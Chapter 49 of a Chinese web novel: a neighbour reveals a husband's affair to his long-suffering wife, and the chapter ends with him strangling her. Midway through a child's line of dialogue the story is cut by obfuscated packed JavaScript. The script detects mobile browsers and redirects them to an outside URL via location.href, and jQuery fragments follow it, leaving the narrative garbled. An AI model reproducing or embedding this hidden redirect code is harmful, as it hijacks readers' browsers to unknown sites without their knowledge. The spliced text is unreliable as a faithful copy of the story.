49. 第49章

作品:《年代文男主的病弱白月光

    她倏地眼前一亮,“你说我把这事透给田晓萍,就只告诉她,她男人在外头有其他女人,她肯定会直接去找陆志勇摊牌,这样一来,陆志勇铁定就不敢再去外头花天酒地了吧?”


    “那陆志勇都能出去外面找女人,能怕家里的媳妇?”他一脸狐疑。


    “这田晓萍可不是普通媳妇,这十年里陆志勇离家在外,他那失明的寡母彭丽可一直是田晓萍在照顾,陆志勇哪怕看在她这些年帮他照看母亲的功劳下,也得有所忌惮吧?”


    王国兴设身处地想了一遍,换做是自己,这般贤惠善待自己母亲的媳妇,他肯定不忍让其伤心。


    于是他点点头,勉强同意她的想法:“你记得不能将大姐透出去,不然可就惹大麻烦了。”


    听到这句,曾雪不免白了他一眼,“这还用你说?”


    她敢保证,她绝对是最不希望王桂枝出事的人。


    …


    这日饭桌上,姜玥看着餐桌上的王桂枝,总觉得她哪里不对。


    而后,一旁夏如问出了她的疑惑,“妈,你脸怎么了?”


    王桂枝拿着筷子的手一顿,脸垂得更低了些,闷闷说了句:“没事,这两天潮湿的很,估计被子枕头上虫子多,过敏了吧。”


    夏如看了眼外边阴沉的天色,点了点头没再说话。


    姜玥抬眸扫过王桂枝放松下来后,显得越发通红肿胀的侧脸。


    只有半张脸红肿,且脖子手上其他裸露的地方一切如常,这要是真过敏也太会挑地方了。


    姜玥收回意味深长的目光,低头继续吃饭。


    这个王桂枝近日越发反常,最好别是在搞什么幺蛾子。


    …


    夏日雷阵雨过后,地面上均是水坑,混着泥土的污水将院子里的地面弄得泥泞不堪。


    曾雪拎着一桶衣服走到门外竹竿架上,余光时不时瞥向对面陆家方向,见迟迟没有动静传来,她手上晾衣服的动作越发缓慢。


    不应该啊!这个点正好是田晓萍上工的时间点啊!


    在她即将晾完最后一件衣服时,对门终于传来动静。


    曾雪霎时将衣服迅速扔回桶里,拿出提前放置在一旁的竹篮,假装像是要出门的样子。


    “咦?晓萍你这是要出门啊?”


    田晓萍长着一张圆脸,五官上看得出年轻时候长得不差,只是这些年一人顶起陆家,里里外外都是她在操劳,不免得要比同龄人看着要老一些。


    曾雪趁机打量了田晓萍一番,暗自在心里嘀咕着。


    她记得田晓萍甚至要比自家小姑子年纪小一些,但要是王桂枝和田晓萍站在一起,那看着简直都不像一个辈分的人。


    她心里不免有些忐忑,这单靠田晓萍真能让陆志勇收心?


    “曾姐,我这是要上工去。”


    田晓萍不大习惯与人交际,平日里跟这些邻居都是没什么往来的,不明白为什么今天曾雪突然主动跟她打招呼。


    曾雪自来熟地跟上她的脚步,面上笑意堆积着:“上工确实要紧,哪像我都没个工作,也就是在家带娃的命。”


    这一番恭维话彻底把田晓萍整不会了,她十分拘谨,抬眸望了她几眼,支支吾吾地不知道该怎么回话。


    “晓萍你别紧张,我就是要去供销社买点东西,刚好跟你顺道,你可别嫌我不会讲话烦人啊。”


    田晓萍脸色这才缓和下来,勾起一抹勉强的笑回应着:“哪里的话,姐你愿意跟我一块走,我开心都还来不及呢。”


    她这话倒是真心的。


    这些近邻见她陆家没个男人顶门户,往日里都不爱与她来往,眼下曾雪愿意跟她一块走,那就是在释放友好信号,她当然没什么不乐意的。


    她在心里想着,看来是这群人看陆志勇回来了,不敢再小看陆家,这才想着上门来联络感情。


    这样一来,田晓萍彻底放下警惕,和曾雪闲聊起来。


    “按我说,这志勇终于回来了,你这好日子还在后头呢!”


    田晓萍见她提起陆志勇,耳根子慢慢红了起来。


    曾雪见她这跟大姑娘似的羞怯模样,眼中担忧终于散了些。


    她这态度,足以证明陆志勇回来后待她还是不错的。


    这般想着,曾雪终于打定主意。


    两人足足聊了一路,从家长里短一路聊到儿女教育,直到眼看着田晓萍快到目的地,她才终于进入正题。


    “晓萍,说来说去姐还是羡慕你,志勇待你那般好,下工都得亲自到街口接送,我家那口子可万万想不到这心思。”


    田晓萍疑惑地扭头,“志勇亲自到街口接送?”


    “是啊,你就别害羞了!这男人疼媳妇天经地义有啥可羞的?上回我都看得真真的,你家志勇等在街口等了许久,你穿着件外套,还带着个帽子包得严实,那会儿我都没看清你的脸,但你家志勇那热乎劲,肯定就是你没错了!”


    田晓萍停下脚步,唇间血色全无,却还尽量镇定地询问:“姐,那日你看到我家志勇时,他穿的啥衣服?”


    曾雪故作疑惑,“就穿了件棕色的衬衫,款式还挺新颖,应该是回来你给他新买的吧?”


    最后一丝希望也被压垮。


    田晓萍垂着眸,手指紧抠着衣角处破洞的棉线,声音沉闷带着细微的颤抖:“姐,我到了,我先进去了。”


    曾雪见目的已达到,也不停留,朝她摆了摆手,便往供销社方向走去。


    刚走进工厂大门没几步,田晓萍眼中就忍不住泛起了泪花。


    那件棕色衬衫是自己亲自去百货大楼给陆志勇挑的,为此还把大半年的布票全用光了。


    他怎能这么对她?这些年她为了帮他守着陆家受了多少委屈,他竟是全都看不见吗?


    田晓萍胡乱地抹掉眼角泪意,眼神一凝,坚决转身快步朝陆家方向走去。


    不行!她要回去问问他!问他陆志勇到底还有没有良心!


    田晓萍强忍着怒气回到家,只见男人还没从床榻上起来,自家十岁的女儿却早早进了厨房做好了早饭,还不忘时时热着,就等着陆志勇起床能第一时间吃上热粥。


    “妈?你怎么回来了?你不是上工去了吗?”陆秀秀见着田晓萍脸上面前不对,紧张地抱住她的大腿。


    田晓萍只觉得浑身一震,像是被现实重重地锤了一拳,看着自家女儿再也忍不住眼中的泪。


    当年陆志勇刚一失踪,没几天她就发现自己怀上了,十月怀胎生下陆秀秀,让她从出生起就没见过自家爸爸。


    陆志勇回家,最开心的莫过于陆秀秀。


    田晓萍以为苦日子终于到头了,没想到一切都是自己的奢望。


    “妈,你别哭你别哭,秀秀帮你呼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15340412|164659||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    呼。”


    见不管怎么往妈妈脸上吹气都无济于事,陆秀秀忍不住也红了眼眶,两人抽泣声此起彼落。


    不一会儿,身后传来男人的脚步声。


    陆志勇顶着被吵醒的起床气走到厨房,见母女两抱着哭成一片,眉眼间带着些许不耐,“这一大早的,是干嘛了?”


    田晓萍往常只觉得他是性子冷了些,但今日她紧盯着他脸上的表情,自然没错过他霎那间的厌恶。


    她一直以来的坚持溃不成军,可她还不能被击垮,哪怕是为了女儿,她也得将这个男人留在这个家。


    “秀秀,你去你奶屋里喂你奶吃饭,然后再回来吃早饭。”


    陆秀秀满眼担忧,但还是顺从地端着碗出去了。


    那头陆志勇也自顾自地拿起碗往锅里盛饭。


    田晓萍见他每一勺都是沉到锅底捞出最稠的米粒,他一个大碗装完,锅里只剩下薄薄一层没几颗米的米汤,丝毫不顾还没吃早饭的陆秀秀。


    她面色一寒,这下总算是看清陆志勇就是个薄情寡义的,凡事只想着自己,她们母女两个在他心里怕是连个边都沾不上。


    “我听说,你这些日子经常和一女人在街口出现?”


    陆志勇拿着勺子的手一顿,抬眼望了她一眼,目露审视。


    看出女人脸上的迟疑,他轻笑一声,“不过是路上遇到顺道一块走,这也值得你问起?”


    她深吸一口气,“是吗?那人说你们举止亲密搂搂抱抱,还以为那人是我呢!”


    陆志勇不耐地将勺子扔进碗中,勺子断裂的刺耳声彻底打破平静。


    “田晓萍,我不过是看我妈面子不想跟你撕破脸,你差不多就得了,别蹬鼻子上脸。”


    他全然没了掩饰,皮笑肉不笑的模样十分骇人。


    田晓萍一眼不眨地看着他,像是不明白自己怎么就嫁了这样一个人。


    这些日子在自己一日三餐好吃好喝的伺候下,他没了刚回来时的消瘦和落魄,脸上圆润不少,依稀看得出年轻时的俊秀五官。


    要不是为了这张脸,她不至于从城里下嫁到这桐树街,她守了十年的活寡,照顾寡母养育女儿,难不成是为了他这番对待?


    田晓萍觉得自己简直是瞎了眼!


    “陆志勇你怕是忘了,要不是我,你妈早在你走那年就死了,这栋房子也早被你大伯一家抢走,还能有你现在的好日子过?我不求你细心体贴飞黄腾达,只要你能安安分分守好这个家,这个要求很过分吗?”


    见她执意较真,陆志勇彻底沉着脸,眼神越发凉薄。


    那头田晓萍还在撕心裂肺地哭喊着自己的心酸委屈:“这些年我日夜苦熬,是为了你回来和外面女人暧昧潇洒的吗?你这样羞辱我,陆志勇你到底还有没有良心!”


    “够了!”


    陆志勇愤怒地将桌上的粥砸向地面,凶相毕露。


    他大步往前掐住她的脖子,五官狰狞,眼中全是嗜血的癫狂。


    “你说的这些,我让你做了吗?”


    他手上力道逐渐加重,田晓萍拼命挣扎抠着他的手,将他的手背抠出道道血痕,依旧没换来他的松动。


    看着田晓萍因为缺氧逐渐变得青紫的脸,陆志勇嘴角勾起一抹残忍的笑意:“田晓萍你别忘了,当初是你死皮赖脸非要嫁我,现在才来说委屈,是不是太晚了?”